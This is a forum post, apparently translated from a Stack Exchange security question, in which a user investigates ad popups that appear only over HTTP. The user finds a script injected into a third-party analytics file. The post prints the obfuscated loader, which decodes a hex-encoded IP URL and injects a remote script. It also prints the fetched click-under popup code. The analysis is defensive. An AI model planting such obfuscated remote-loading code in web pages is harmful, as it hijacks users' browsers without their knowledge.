最近,我发现了一个相当烦人的问题:我在任何 Stack Exchange 网站上的每一次首次点击都会创建一个广告弹出窗口。这发生在我的台式机、笔记本电脑、手机甚至虚拟机上。我断定这是 Stack Exchange 的新广告功能并在 meta.stackexchange 上抱怨......直到我发现我是唯一受此影响的人。
我不愿意相信我如此粗心地让病毒进入我的计算机(并且为了自称是我公司的“安全专家”),我继续调查根本原因。我观察到:
- 这仅影响 Stack Exchange 站点。
- 这可以在 4 种设备上重现:台式机、笔记本电脑、手机和虚拟机。
- 如果我浏览 https,则不会发生此问题。
这些让我认为这是一个网络问题:有人在 HTML 文档的某处注入了恶意 JavaScript,而 HTML 文档在 HTTP 上以明文形式传输。在大约 30 分钟的网络流量捕获和分析之后,我发现这部分代码位于任何 Stack Exchange 页面的底部:
(function () {
var ssl='https:'==document.location.protocol,
s=document.getElementsByTagName('script')[0],
qc=document.createElement('script');
qc.async = true;
qc.src = (ssl ? 'https://secure' : 'http://edge') + '.quantserve.com/quant.js';
s.parentNode.insertBefore(qc, s);
_qevents.push({ qacct: "p-c1rF4kxgLUzNc" });
var sc=document.createElement('script');
sc.async=true;
sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
s.parentNode.insertBefore(sc, s);
_comscore.push({ c1: "2", c2: "17440561" });
})();
启动将恶意 JavaScript 加载到我的浏览器。
如果beacon.js
通过 HTTPS 加载,它是一个很好的单行缩小 JavaScript。但如果它是通过 HTTP 加载的,则会添加第二行:
!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();
这是一种混淆的加载方式http://103.16.230.165/stats/XCQ67
,其中包含:
function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;
现在,难怪我看到了广告。
问题是这一发现的含义。我在这里看到了一些可能性:
- 我的网络附近有人在嗅探 HTTP 数据包并向其中注入恶意内容。我应该尽可能将所有内容切换到 HTTPS (我从不在 HTTP 上输入凭据或信用卡号,但我应该更进一步)
- 我的华硕路由器被感染了。(一个明智的病毒作者会感染我访问的所有页面,而不仅仅是特定站点)
- 我的 Intranet 上有一个受感染的设备。(我关闭了所有设备并一次测试了一个设备,它仍然会发生,所以唯一的可能是路由器。)
scorecardresearch.com
使用地理广播来加速他们的网络。他们的主机服务器之一被感染。(这可以解释为什么不是每个人都看到它)scorecardresearch.com
是恶意的。Stack Exchange 的服务器(或网络)不知何故被感染;Stack Exchange 从来没有打算包含scorecardresearch.com
在他们的脚本中。
暂时我已经屏蔽了scorecardresearch.com
。
我的最佳猜测(4): 的一scorecardresearch.com
台服务器被感染。然而(1)的后果是严重的。这也可以解释为什么不是每个人都受到影响。我如何进一步区分(1)和(4)?
有什么我错过了,或者应该做些什么来保护自己?